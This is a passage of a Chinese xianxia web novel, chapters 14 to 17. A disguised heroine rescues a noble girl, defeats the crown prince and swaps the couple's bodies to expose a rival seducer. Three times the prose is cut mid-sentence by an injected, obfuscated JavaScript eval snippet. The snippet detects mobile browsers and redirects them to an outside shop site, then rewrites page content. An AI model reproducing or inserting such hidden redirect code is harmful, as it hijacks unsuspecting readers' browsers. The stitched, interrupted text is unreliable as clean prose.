而云莳满脑子想的,就只有怎么在不暴露身份的前提下,既救了师兄,又能顺利完成系统任务。 二人心思各异,面上还算和谐。因云蘅还没恢复视力,云莳便主动充作他的眼睛,自觉当起了合格的护卫,心下颇为自得。 哼哼,师兄以前总说养她费事,如今这不就派上大用场了?论起孝顺兄长这事儿,她只要认真起来,就没谁能比得过! 简单休整后,二人正要离开这片瘴气弥漫的山脉。云莳又想起一事,边走边与云蘅搭话。 “云道友,仙府里最后那道虚影,应该就是玄玑真人的真魂吧?他消失前赠予了我们各自一道流光,我刚刚研究了下,好些都是些关于机关傀儡的术法秘要……” 话没说完,两人头顶上方突然传来一阵异响,紧跟着就是女子的长长尖叫声—— 云莳刷地抬头,只见一抹嫣红身影正从崖顶急速坠落。她来不及细想,足尖点地,如离弦之箭冲天而起,赶在半空中险险接住对方。 14. 使诈 电光石火间,云莳在崖壁上连点两下,卸去冲力,抱着人轻巧落地。 被救下的少女尖叫声卡在喉咙里,身子不住发颤,明显没反应过来,抓着她的衣袖不肯放开。 云莳低头,只见这姑娘生得张圆润的鹅蛋脸,猫儿似的杏眼里噙着泪花,约莫十五六岁的年纪,锦衣绣袄、颈戴璎珞,一看便出身世家,只是眼下钗发散乱,好不可怜。 同为女子,她安慰地拍了拍对方的背,“没事了,不用害怕,你已经安全了。” 少女怔怔抬头,看清跟前人面貌,突然“哇”的一声扑进她怀里,放声大哭。 “呜呜呜我差点就摔死了!该死的容景昭,居然真的没来接我!回头我一定要告诉皇后娘娘,这个混蛋呜呜呜” 被她死死抱住,眼泪鼻涕糊了满怀,云莳动也不敢动,无可奈何地仰天。 “别哭啦,我这衣裳都湿透了……”少女哭声更大,她只好放软语气,“好好,不催你,可惹你生气的是你口中的容景昭,你在这哭,他也听不见啊。” 女孩一听,边抹眼泪边放狠话,“哼,都是他和那个男狐狸精的错!敢这么欺负我赵灵真,等我回去,绝对不会让他们好过!” 不管真相谁对谁错,赵姑娘这话确实透着股咬牙切齿的狠劲,和那张明艳娇憨的脸颇为不符。 云莳却是注意到她话里的某些字眼,心中瞬动:不是吧,这么巧,竟是碰到和攻略目标有关的人了? 几步外的云蘅亦是循声望来,眉宇微凝,透着关切。虽然没有恢复视力,光听动静,他也能大致猜到刚刚发生了什么。 云莳抽空朝他低声回了句“没事,救了个姑娘”,随即继续当好人型抱枕,语带试探。 “原来是赵姑娘……看姑娘气度,莫非是盛京赵家的子弟?那你口中的容景昭,莫不就是大胤朝的太子殿下?” 话音刚落,怀里的少女猛地抬头,柳眉倒竖,连哭都忘了。 “对,就是这个混蛋!我千里迢迢跟着他来这鬼地方,他倒好,一来就被合欢宗那个男狐狸精勾了魂,追着人家不放,简直像中了降头,连我们的婚约都要忘到九霄云外了!……” 她犹在愤愤不平,云莳却听得眸光微亮。 ——果然如此,这位从天而降的少女不仅和容景昭关系匪浅,还对刻意接近后者的苏玉倾心怀怨怼。 都说敌人的敌人就是朋友,既然碰到,岂不是可以借其之手,想办法撬苏玉倾的墙角? 反正她的目的只要能阻止苏玉倾攻略那些气运之子就够了,至于具体用什么法子,系统不也没限定不是么。 这个念头一起,系统便适时回应: 【检测到关键人物——原世界线“恶毒女配”、大胤朝瑞阳郡主赵灵真。她与太子容景昭本是青梅竹马、指腹为婚,苏玉倾为攻略后者强行介入二人之间。 在其引诱下,容景昭迅速沦陷,赵灵真不甘被未婚夫所弃,逐步黑化,屡次针对苏玉倾,沦为推动二人感情升温的工具人,最终自寻死路,坠入蛇窟,尸骨无存。】 * “坠入蛇窟,尸骨无存”—— 云莳听到最后这句,再看向跟前尚不知自己将面临什么命运的少女,神色不觉沉了沉。 就在这时,说曹操曹操就到,悬崖上方忽然传来衣袂破风声。 旋即,就见一道锦衣身影纵身跃下,动作利落、身影矫健,额心金坠晃荡,不是太子容景昭是谁。 隔了这阵子才追来,容景昭面带焦急,一句“灵真”刚喊出口,转眼瞧见立在崖底完好无损的红衣少女,登时大大松了口气,快步走过来。 “灵真,还好你没事!就算跟我置气,也犯不着真往悬崖下跳,就你那三脚猫的修为,岂不是拿性命当儿戏?” 他剑眉紧蹙,语气含着三分责备两分后怕,倒也不是全然不关心自己的未婚妻。 但此话一出,如同火上浇油,赵灵真还没来及为他的出现高兴,顿时炸毛。 “谁要跳崖了?明明是你气得我脚滑!容小昭,要不是你整日跟那苏玉倾黏黏糊糊,我怎会气不过跑这散心?千错万错都是你们的错!” 几句下来,容景昭被骂得脸色发青,偏生理亏说不出硬气话,实在忍不下去,别过脸小声嘀咕。 “都说了我和苏兄只是管鲍之交,两个男人哪里来的私情……整日只知乱吃飞醋,女人就是麻烦,简直不可理喻……” 旁边,云莳已退到云蘅身侧,抱臂冷眼旁观。 打量这位同属于攻略目标之一的少年,依旧锦衣华服、贵气逼人,却掩不住眉宇间的浮躁与挫败,再无往日的神采飞扬,看来确实被自家青梅折腾得够呛。 她忽来了兴致,在心底唤出系统,‘现在能查到此人被苏玉倾攻略到什么程度了吗?’ 秘境里这两人就形影不离的,容景昭的“护草使者”当得不亦乐乎,还把自己的未婚妻气到坠崖,这架势,莫不是已经被苏玉倾完全拿下了? 系统“叮”的一声,很快给出结果。 【刚刚检测,目标“容景昭”对异魂苏玉倾的好感度已达“悦而不自知”阶段,距离“情根深种”仅有一线之隔。目前是四位攻略目标中沦陷最快的一位,建议宿主立即采取行动,阻止二人感情继续升温。】 果然猜对了,云莳无语。所以这位太子还真是渣得浑然天成,喜欢男人不算什么,可既然身负婚约,还打着“友情”的幌子和旁人纠缠不清,张口闭口都是“女人就是麻烦”,这般行事,莫不是真想上天了? 她眯起眼,盯着此人,两只手掌发痒,久违地有了想锤人的冲动。 正好容景昭吵不过赵灵真,板着脸转向这边。先看到了云莳,见其装束普通、容貌也无甚出奇,瞥了眼便没放在心上。 目光随即落在最旁侧静立的云蘅身上,容景昭一眼认出他的身份,脸上浮起诧异之色。 “凌云宗云蘅师兄?你怎么也在此地,也是来万骸秘境历练的么?” 继而恍然,“对了,刚刚就是你们救了灵真吧,还没来得及谢过……云师兄这般脸色,可是在秘境中受了伤?若不嫌弃,可以随我回石海镇,我那有蓬莱阁的上好灵药……” 同为中原仙门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816119|190888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟子,且是年轻一辈中的佼佼者,二人自然彼此面熟,说不上多深的交情,但意外遇上了,随手帮衬一把也是应当。 容景昭大咧咧的没多想,自顾自地说了一通,对面之人恍若未闻,俊容平静,周身透着股遗世而独立的清冷。 倒是那个被他忽略的灰衣少年突然动作,迈步上前,挡在他和云蘅之间,“太子殿下的好意我们心领了。” 云莳扬了扬眉,直白道,“不过云道友素来喜静,不喜叨扰旁人,他的伤势,就不劳殿下费心了。” 容景昭本是随口卖个人情,谁想被直直怼了回来,当下脸色一沉,语气也冷了几分:“敢问阁下是何方英杰,竟是能替云师兄回话?” 云莳没急着回答,扫视过去,赵灵真恰好止住泪意,顶着那副惨兮兮的样子望来这边——不意撞上她的目光,少女先愣后慌,仓促地收回视线。 云莳回到和容景昭的对峙。 “在下只是无名小卒,在诸位面前自然没什么分量。所以殿下与其关心此事,不如先想想怎么安慰赵姑娘。” 她实在地叹了口气,“方才若不是我及时出手接住,赵姑娘也不会好生生站在这里。二位既有婚约在身,何苦为了个外人伤了彼此情分?这般置气,若是真酿成大祸,届时恐怕追悔莫及。” 云莳也是联想到系统提示的那些话,才有此感叹,岂料正好戳中容景昭的痛处,他本就满腔怒气没处撒火,此刻见一个陌生人也敢对他“指责”,不由勃然变色。 “虽然阁下救了灵真,但我们之间的事,还轮不到一个外人妄加置喙!” 容景昭大步向前,周身灵气涌动,“若想逞英雄,不妨先让在下领教领教你的本事!” 听到这火药味十足的话,云蘅终于有了反应,眉宇微动刚要开口,他的手就被身前人按住,安抚地拍了拍。 旋即云莳也站了出去,扬声应道:“好,便与太子殿下讨教一二!” 说完,她身形如惊鸿乍起,主动攻向对方。 容景昭见状面色一肃,掌心红光流转,凝成一柄巨大的灵剑破空斩来,剑势煌煌,带着灼热的威压直逼面门。 云莳没有与他硬拼,穿柳燕子般灵巧旋开,同时双手飞快结印,一张灵网朝他兜头罩下,好似下了场阵雪,将凌厉剑势化于无形。 转眼间,二人已交手数招,快得只见残影。容景昭越打越急,生出真怒,发出的灵气将旁边的岩石轰得粉碎,却仍未碰到跟前人的衣角。 久攻不下,他眉宇间渐显焦躁,忽然清叱一声,腰间玉佩灵光大盛,似要催动法器。 云莳察觉危险,眼神顿厉,忽然变招,左手虚晃攻向他肩头,右手屈指成诀,一缕游丝般的灵气如蛇出洞,直刺他肋下空门。 容景昭察觉有异时已来不及应对,只觉肋下一麻,灵力运转顿时一滞。 就在这电光石火的间隙,跟前人如鬼魅般倏忽贴近,指尖骤然点在他颈后风池穴。 “你使诈——” 只来得及吐出这三字,容景昭便觉一股麻意自颈后窜遍全身,眼前一黑,直直倒了下去。 15. 互换 一番折腾终于将人放倒,云莳也累得不轻,抬手抹了把汗,一回头,就见另外两人正不约而同地盯着她—— 赵灵真那样子,是完全没想到这个发展,整个人都看呆了;而云蘅目不能视,凭着耳力判断出打斗的结果,微蹙的眉宇渐渐舒展开来。 他方才没有出手阻拦,也是猜到了云莳的用意:这位太子殿下既认出了他的身份,又与苏玉倾关系密切,若是任其离开,势必会引来后者。云莳故意激怒对方提出比斗,正是为了制造机会将人留下。 只是,人是留下了,总不可能真的杀人灭口,还是得想个法子处置。 这时赵灵真终于回过神来,小跑着上前,瞧见地上昏迷不醒的未婚夫,纠结地拧着秀眉,先是用脚尖踢了踢他,见人毫无反应,迟疑地抬起头。 “你、你把他打晕做什么……莫非你与容小昭有什么仇怨?” 云莳面不改色,看着这位注定要被横刀夺爱的郡主,又瞥了眼地上这个脚踏两条船的渣太子,心念电转间灵光一现。 她朝着少女露出一个和蔼的微笑。 “赵姑娘说笑了,我与这位太子殿下素昧平生,哪里谈得上什么仇怨——我不过是看不惯他这般辜负姑娘,想替你出口气罢了。” 她有条不紊地解释,“既然现在人已经晕了,我正好有个主意,既能替姑娘解气,也能让太子看清那位苏兄的真面目。只是需要姑娘配合一二,不知你意下如何?” 赵灵真望着这位救命恩人,不知不觉被“解气”二字,还有对方的笑容所惑,稀里糊涂就点了下头。 于是,云莳便朝地上的人露齿一笑,想到自己之前在玄玑真人赠予的流光里看到的某个秘术,已经迫不及待想在这位尊贵的太子身上试验一番了。 …… 向来养尊处优的大胤太子容景昭,做梦也想不到自己会在阴沟里翻船,被一个无名小卒暗算倒地。 而他更想不到的是,醒来后等待他的,会是如此荒唐的处境。 大半日后。 容景昭从黑暗中挣脱,意识尚未清明,只觉得浑身像是被什么束缚着,有种说不出的怪异。 他勉强睁开双眼,发现自己似乎身处一个山洞之中。四周昏暗,视野边缘篝火跃动,隐约传来窸窸窣窣的交谈声。 摇了摇头试图驱散昏沉,他坐起来,正要内视探查身体状况,按向胸口时却蓦然一怔。 掌心传来的触感柔软而陌生。 容景昭心头一凛,彻底清醒过来。当即低头,发现自己不知何时被换上一身熟悉的嫣红流仙裙,胸前鼓鼓的,还在随着他的呼吸而颤动。 饶是容景昭素来沉稳,此刻也不禁目瞪口呆,傻傻地又把手放上去,不知轻重地抓了下—— 是、是热的,而且敏感得吓人,抓得他自己脊背一弓,咬牙压下呻.吟。 * 不可能,这绝对不可能…… 容景昭艰难地咽了下口水,才发现双手也是白皙纤细,十指都染着鲜红蔻丹。 他用这双陌生的手抚上脸颊,触手处细腻光滑,五官轮廓全然陌生。再往发间一摸,拔下了一支好不眼熟的嵌宝金簪。 他分明记得,这是临行前,母后赐给赵灵真的那支! 至此,他彻底明白发生了什么,脸色铁青,饱含杀气地望向那端的篝火,然后瞧见更加诡异的画面: 火堆旁坐着三人,设计暗算他的灰衣少年与凌云宗的云蘅并肩而坐,姿态亲近,隐有关联;而在他们对面,正坐着个与他容貌一般无二的“容景昭”。 这个“容景昭”额戴金坠,笑意飞扬,言笑晏晏地说着什么,聊到忘情,还豪放地支起一条腿,十分自在的模样。 瞧见这幕,容景昭:“……” 他这一醒,那边的三人自然都察觉了。云莳和云蘅镇定自若,仿佛什么事都没发生。 只有对面那个顶着他容貌的“容景昭”明显慌了神,被他凌厉的目光死死盯住,后知后觉地放下腿,浑身僵硬,偏过头不敢与其对视。 见到这个冒牌货如此心虚,尤其是那不自觉绞着衣角的小动作,容景昭气得险些呛住——这一开口,发出的就是熟悉清脆的女声,让他更是怒火中烧。 “可恶,你们到底对我做了什么?可知我乃大胤太子!”他不可置信,“还有你,赵灵真,伙同两个外人行此夺舍邪术,当真疯了不成!” 容景昭气得浑身发颤,偏生顶着一张自家未婚妻的娇艳容颜,顿时连怒意都显得像在嗔怒。 篝火旁,三人神色各异。 云莳最先轻笑出声,“殿下醒得比我想的还早,果然修为深厚。” 她转过头,笑着道:“还请放心,这不是什么夺舍,只是个小小的‘移形换影’之法,暂时将二位的感知互换罢了。此法不会伤及根基,至多三日便会解除。” 被困在赵灵真身体内的容景昭闻言,强压下心头怒火。他到底是皇室精心培养的继承人,很快就冷静下来。 “你是故意的,先是激怒我,再借机施展这等诡术……阁下到底是谁,有何目的,事到如今不妨直言。” 反应得挺快,云莳挑了挑眉,“殿下这就误会了。在下风止,不过一介散修,对二位绝无恶意,只是殿下始终不肯相信赵姑娘所言——” 她意味深长地顿了下,“常言道当局者迷。殿下既然认定赵姑娘是无理取闹,不如就趁这个机会,亲自体验一番,看看你那位苏兄,究竟是什么品性,又是否真值得你这般维护。” 这时,一直静坐的云蘅也跟着开口,语调沉稳,自有一股令人信服的力量。 “此番确实失礼了。请容道友放心,我等绝无加害之意,三日期满,你们身上的术法自会解除。” 他淡淡道:“在此期间,还请暂且配合。” 闻言,容景昭目光在二人之间逡巡,暗中几番尝试运转灵力。但这具身体本属于赵灵真,资质平平,修为只有凝晶初期,在这名灰衣少年手下走不过两招,遑论还有个深不可测的云蘅也在。 他咬紧牙根,恨恨瞪向被敌人策反的赵灵真。后者显然知道自己这次玩大了,低着头根本不敢看他。 知道已是无力回天,他再气也只能生生忍下去,冷声道:“好!只有三日是罢,若是逾期未解,别怪本殿下与尔等玉石俱焚!” 云莳点了点头,随后补充。 “当然,只是在此之前,还请殿下立下心魔誓,不得将今天遇到我们,和所发生的这些事,以任何方式告知在场之外的其他人,否则……这移形换影的时限,兴许就不止三日,三月、三年,也未可知。” * 经此一役,容景昭生平头次体会到何为“形势比人强”,饶是心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816120|190888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头恨得咬牙切齿,最后也不得不抬手立下誓言。 翌日清晨。 山岭间瘴气重重,仍是荒凉寂寥,因为“赵灵真”的满脸黑沉,四人没怎么寒暄,各分两头,连句客套的告别都省了。 云莳与云蘅自往中原方向而去,赵容二人则是回返石海镇,与同派弟子会和。 且说前者。 自从出了秘境,撞见这两人,由于种种原因,云莳难得依着性子将眼高于顶的容景昭狠狠整治了一番,还是当着师兄的面,她面上不显,心底颇觉痛快,此时仗着无人得见,脚步轻快,几乎要哼起小曲来。 然而走出没多远,身旁的男子陡然转向她,声音里带着不动声色的微妙。 “风道友很高兴么?” 云莳脚步一顿,讪笑了下,“有吗,兴许是终于离开秘境,心里放松罢了。” 云蘅清隽的面上看不出情绪,他忽而走近一步,与她相隔咫尺,那双灰蒙蒙的眸子,似乎能穿透千幻面的伪装。 “风道友似乎格外在意容景昭与苏玉倾之事。”他垂眸“看”向她,语气平淡却字字切中要害,“你之所以设计此局,正是不想他们交好罢。” 从昨日到今天,她所做之事,可以说是为了避免二人泄露行踪,但细究起来未免过于刻意。 云蘅虽然没有明言,实则早将这些看在眼里,直到现在才说了出来。 被他一口道破,云莳登时有种闯了祸后、被师兄逮住的心虚。她摸了摸鼻头,转向旁边,好阵子才咕哝。 “还是被云道友看出来了……没错,我讨厌他们两个。” 她急匆匆转回来,“你看,明明容景昭与赵姑娘既有婚约又是青梅竹马,却还和一个男人纠缠不清,嘴上说着什么只是朋友,却全是自欺欺人的鬼话,难怪惹得赵姑娘那么失态。” “而且,更别提苏玉倾了。”提到正主,云莳加重语气,正好是在师兄跟前揭穿此人真面目的时候,“你看,此人一边给你下情蛊,追着你不放,另一头还和容景昭暧昧不清,简直是三心二意、水性杨花!” 她义愤填膺,“云道友,所以你定要认清此人的真面目,千万不要被他骗了,不然指定就成了第二个容景昭!……” 云蘅微微一怔,怎么说着说着,话题又转到了这里? 连着上一次的对话,他委实不知道自己是哪里让跟前人产生了误解,竟让她以为他也喜欢男子,还可能被苏玉倾的手段打动。 不知为何,素来不在意旁人看法的云蘅,此刻心头泛起两分无奈的涟漪,心想着,是否该认真和她解释一番,自己是个正常男子,且从未心悦过任何人…… 就在这时,跟前的女孩声音忽然一提,“你要是不信,就亲眼,不,亲耳听听,他们到底是怎么一回事!” 说着,云莳从怀中取出一面半个巴掌大的银镜。镜缘镶嵌着细碎灵石,此刻正泛着莹莹微光。 此物名为“同心镜”,乃是难得的传讯法宝,共有两面,昨夜她赠送了一面给赵灵真,嘱咐她定要随身携带,这三天里,若有意外情况便马上唤她。 这面镜子的特殊之处还在于,启动之后能够投射另一面镜子的携带者的周边情况,全方位无死角,可谓现场直播。 云莳见镜子正好开启,指尖轻点镜面,雾蒙蒙的镜面散开,向空中折射出逐渐清晰的画面。 16. 回镇 同心镜里的虚影折射在半空,雾气散去,画面骤然清晰,只见那头视野颠簸,周遭景物飞速倒退,显然正在赶路中。 细看两侧山势渐缓,远处雾霭里隐约透出石砌屋舍的轮廓,这两人多半动用了远程传送符,才能在短时间内走得这么快,不愧是家底丰厚的世家子弟。 视线收归近前。映入眼帘的是“容景昭”将“赵灵真”横抱在怀中,身形起落间疾速前行。 不时还能听到女孩压抑不住的惊呼,以及愤愤的抱怨。 “赵灵真,你慢些!御风诀不是这般使的!” 一个突然起跳,顶着少女身体的容景昭被颠得险些咬到舌头,不禁怀疑这丫头是不是在趁机报复,杏眸没好气地瞪了对方一眼。 刚换到这具年轻矫健的身体里,体验到其中蕴藏的充沛力量,赵灵真十分新奇,被骂了好几句才收敛下来,放缓速度,调整了下抱姿,小声嘀咕。 “知道了,真是娇气,比本郡主还难伺候,以前怎么好意思天天说我的……” 然后大掌不知摸到哪里,怀里的女子身躯骤然僵了下,漫天红霞爬上脸颊,容景昭咬着牙逼出声音。 “该死的,不要乱碰,难道不知道你这身子敏感得要命么!……” 总之,这对未婚夫妻便这么乱七八糟地使用着对方的身体,片刻后抵达位于秘境附近的三不管地带,石海镇。 二人赌气,谁也不与谁搭话,迈入镇口,就见前方的石牌坊前围了不少人,三三两两聚作一团,正热烈议论着什么。 “什么,万骸秘境入口提前关闭?这是发生了何事?” “听说是昨日一早,整个秘境突然震荡,现在谁都进不去了!” “可不是,先前好几个想硬闯的道友都被结界弹了回来……” 人群当中,一抹红色身影格外醒目,墨发披拂,风姿绰约,周边依然是众星捧月,有同去秘境的几个世家子弟,也有其余的蓬莱阁修士,无形间便是人群的中心。 同伴在前,赵灵真与容景昭对视一眼,迟步不前。 恰好被蓬莱阁的某位小师妹瞧见,惊喜唤道,“容师兄,赵师姐!你们可算回来了!” 这一声引得众人侧目,苏玉倾也转过身来,脸上的血痕早已愈合,恢复玉雪无暇的俊美。他本是面带沉思,当下反射性地扬起微笑,温文尔雅地朝对面瞧去。 “二位总算回来了。” 他语气关切,口中说着“二位”,那双含情目却直直落在锦衣少年身上,“秘境突生变故,玉倾还在担心殿下与郡主的安危,如今你们平安归来,这颗心总算能放下了。” 苏玉倾身为合欢宗圣子,媚骨天成,即便不刻意施展媚术,这般专注凝视一人时,也极少有人能全然不动心。 哪怕是对他极为反感的赵灵真,此刻顶着容景昭的身子,猝不及防撞进这双似有魔力的眼睛,一时没防备,心神震荡间,愣在原地忘了动作。 四目相对,旁人不觉有异,唯有真正的容景昭感到一丝莫名不适,在二人之间来回看了圈,皱起秀眉,勉强以赵灵真的口吻回答。 “不过是在附近散了散心罢了。这秘境异动又是怎么回事?” 苏玉倾漫不经心地瞥了“她”一眼,还未作答,旁边已有殷勤的修士抢着回道。 “好像是秘境核心处发生崩塌,引发了全境震荡,还在其中的修士都被弹了出来……” 众人七嘴八舌地议论,都说不清秘境关闭的真正缘由。不过,既然万骸秘境已经无法进入,此行历练便失去了意义,大家开始商议何时启程返回中原。 趁着旁人都在交谈,苏玉倾缓缓来到二人面前。他的目光仍落在“容景昭”身上,勾起浅笑,“既然即将离开,先前与殿下约定的论道还未完成,择日不如撞日,不知今夜殿下可否有暇……” 闻言,赵灵真打了个激灵,猛地回神,意识到自己方才也被这狐狸精蛊惑了,不由暗骂自己没出息。 她顿时不耐烦地打断对方,“不必了!正事要紧,哪顾得上这些有的没的,一个大男人事情忒多。” 这般直白的拒绝,让苏玉倾也难得愣了下。 他神色微动,看着跟前这位费了他许多功夫的攻略对象,又扫过旁边面色不佳、欲言又止的少女,笑容渐渐落下。 “好吧,是玉倾多言了。既然如此,恐怕也是时候与诸位道别了。” 说话间,露出一丝落寞,顿时引得旁边的“赵灵真”心疼不已,对占据自己身体、还胡乱说话的未婚妻好不愤慨。 而在下一刻,这道低柔悦耳的嗓音,就以传音入密,于喧嚷杂音中,直直送入“容景昭”耳中。 “先前在秘境里,多亏殿下舍身相护,玉倾一直记在心上,所以……就算离开,也让我再为你背上的伤上一次药罢。” ——此话落下,犹如惊雷炸响。赵灵真浑身一震,慢慢转头,眼神如刀子般剐了眼身旁之人。 她牙根紧咬,同样以传音冷冷回道:“好!今夜我便等着你。” 事到如今,她倒要看看,这两个狗男男,究竟还背着她做了什么好事! 而头一次从天之骄子沦为陪衬的容景昭,被赵灵真这眼看得莫名其妙,只觉得后颈冷嗖嗖地,忍不住缩了缩脖子,全然不知自己将面临怎样的修罗场。 * 另一头,透过同心镜看到全程,云莳对三人间的复杂关系看得大开眼界,叹为观止。 世界之大无奇不有,苏圣子这大概就是传说中的男女通吃了,长得够美,果然就能为所欲为。 “……不过,他在男女之间的差别对待也太明显了吧?” 云莳摸着下巴,分析刚刚看到的场景,“大概,这就是有断袖之癖的男子?再美的女人在他眼中也是浮云,只有同为男儿身的人才能得他青眼。” 这么看来,这三日里,真正的容景昭怕是要好好受一番冷待了。毕竟他现在缺少最关键的那玩意儿,可入不了苏玉倾的法眼——不,倒也说不准。 单从镜中传来的景象,赵容二人的演技实在拙劣,连她这个旁观者都能看出其中的不自然,更别提苏玉倾这种心思玲珑之人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816121|190888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不定什么时候就会瞧出破绽,到时此人若是追根究底…… 想到这,云莳陷入沉思。身旁人轻咳了好几声,才将她的注意力唤回。 被迫一同“听墙脚”的云蘅微微摇头,略带无奈,“此乃他人私事,我们着实不该过多窥探,于礼不合。” 师兄向来恪守礼数,说这话云莳毫不意外,可她的性子却是与其截然相反,如今戴上面具,免不得更加放飞自我,当下散漫一笑。 “不过是些闲谈而已,本就是当众之言,听听也不碍事。” 说是这么说,光听八卦也没什么用。她在心底与系统确认,‘你现在看看,师兄的状态如何,如果前往石海镇,会被苏玉倾察觉么?’ 很快,系统回应:【已确定,目标云蘅体内的蛊毒正处于深度沉眠,距离下次发作还有一段时日,只要不主动暴露,百丈之外不会被下蛊者感知。】 百丈距离对修真者而言转瞬即逝,如此一来,他们完全可以靠近些,等着随时接应赵灵真了。 毕竟看情形,今晚她和另外两人少不了一场周旋,以其性子,想要安生应付过去怕是有些难度。 云莳当即转身,拉住云蘅的衣袖,笑吟吟地开口:“对了,云道友,反正我们回中原也要经过石海镇,不如便顺路去看看?” 云蘅:“……”为什么他竟对她这个提议毫不惊讶。 知道先前那句话是白说了,然而连他自己都感到意外的是,心底竟生不出半分不悦,反倒有种自己都未曾察觉的纵容。 “但不可主动生事,”他终是放缓了声线,温和叮嘱,“一切谨慎为上。” 云莳忙不迭点头,旋即施展缩地成寸之术,拉着云蘅就朝石海镇方向赶去。 没有传送符相助,二人抵达时已是暮色四合。未免引起苏玉倾的警觉,他们在镇子外头寻了处僻静岩洞暂作休憩。 如今云蘅仍不能动用灵力,虽然身子扛得住,但也比不得往日,光靠餐风饮露便行。云莳自觉孝顺,不等他开口就掏出自己带的干粮,拿出一个芝麻烤馕,在火上前后翻转,烤得金黄焦脆、香气四溢。 “喏,快趁热吃,这种饼刚烤出来的时候最香了。” 云莳体贴地掰开一半递给对方,白衣修士闻声侧眸,顿了顿,伸手接过,半面玉容映着红色篝火,瞬时间,周身月光般的清冷也被冲淡几分。 云蘅并没说自己不饿,朝她轻声道谢,握着食物,一点点吃得缓慢细致。 辟谷多年,除了在师妹幼年时,他为她煮过羹汤、被她缠着一起尝过外,再未碰过这些人间烟火之物,眼下咀嚼着满口的温暖焦香,这久违的感觉…… 似乎,也很不赖。 用过简单的晚餐,估摸着时辰差不多了,云莳拍了拍手上的碎渣,重新取出同心镜,注入灵气。 不多时,镜子里的景象投射在半空中,果然是间客房的样子,门窗紧闭,烛火昏黄,英气少年和俊美男子相对而坐,本该是暧昧横生的一幕—— 如果前者没有紧紧捂着衣襟,面色发白、支支吾吾的话。 17. 夜会 事情之所以发展成这样,也怪不得旁人,全因赵灵真一心想着要给这对狗男男点颜色看看,憋着气等到半夜,果然听到有人敲响了“自己”的房门。 明白这代表了什么,她刷地热血冲头,奔过去拉开房门,一眼就瞧见外头手拿药瓶的俊美男子,还在好整以暇地朝她微笑。 见状赵灵真心下冷笑,打着主意要好好整治对方,旋即把人放进屋里。 然后,没有意外地发生意外了。她这点三脚猫功夫,在身经百战的苏玉倾跟前可谓毫无招架之力。 男子衣襟松敞,墨发披散,一副慵懒随性的风情,刚开口便掌控了主动权,三言两语激得她失去冷静,脱口而出。 “——谁、谁怕了!不就是上药,都是男人,谁怕谁!” 话一出口悔之晚矣,赵灵真惊觉不对,就这样把自己架在火堆上,进退不得,捂着衣襟的手都要僵了。 至于苏玉倾,见跟前少年一幅忠贞不屈、色厉内荏的模样,与往日的样子大相径庭,非但不觉扫兴,反而愈添兴致。 他上前两步,作势要递来药瓶,指尖若有似无地掠过对方衣角,嗓音低醇微哑。 “殿下……景昭这是何意?今夜怎的如此生疏,往日你我之间,何曾这般见外……” 被青年修长的身影笼罩,那股独特的靡丽香气扑面而来,赵灵真此时才清晰地意识到,对方也是一名男子,且是容貌绝美,极具魅力的合欢宗圣子。 这瞬间四目相对,她脑子嗡地一下,几乎忘记今夕何夕,自己姓甚名谁。 就这般呆站原地,等她再度恢复少许意识时,已是肩膀一冷,跟前人靠得极近,正在剥去她半边衣衫。 再见那双凤眸,里头闪烁着某种奇异的光彩,看得人不由心跳加速、浑身骤热—— 啪的一声,回过神的“容景昭”猛地打落他手里药瓶,在清脆的碎裂声中,大步后退,扯起自己散开的衣裳,失控地吼出来。 “滚!谁准你的脏手碰我,马上滚出去!!” 也在这时,紧闭的房门被人从外生生撞开,伴随着少女仓促的呼喊。 “等等,你们在做什么,快停下来!” * 望见屋里的情景,还有二人眼下的装束和形容,迟来片刻的“赵灵真”,便是再迟钝,也意识到某些事情完全不对劲了。 尤其是看到散落一地的药粉,“她”遽然想起什么,俏脸更慌,“苏、你是来送药的么,实在不必了,他、他现在不需要……” 好么,容景昭现在总算想起自己忘记什么了,看样子,苏兄必定是和上次一样,知道他不想声张受伤的事,故而深夜前来送药……可其偏偏不知道,今夜这具身体里的不是他,而是赵灵真! ——所以眼下这般,难不成赵灵真真的脱下衣服,任由苏玉倾为她上药了?! 登时,“赵灵真”脸色变幻不定,望过去的眼神也冷了下来。却一时分不清是冲着二人里的谁。 这一嗓子也将真正的赵灵真从过激状态中惊醒。意识到刚刚发生的事,她脸色难看,抖着手理好衣裳,甫抬头,就对上门口少女那双含怒的眼睛。 “果然,你早就知道他今晚会来。” 她稍微冷静了些,面对此情此景,只觉得无比荒谬与可笑,“这般眼神,是恨自己来晚了,还是恨在这屋里的不是你?” 闻见这句,门边人心头一震,脸色发白,嘴唇蠕动,刚想出言辩解,却又听他自己的声音,以从未有过的语调、冰冷地吐出一句话。 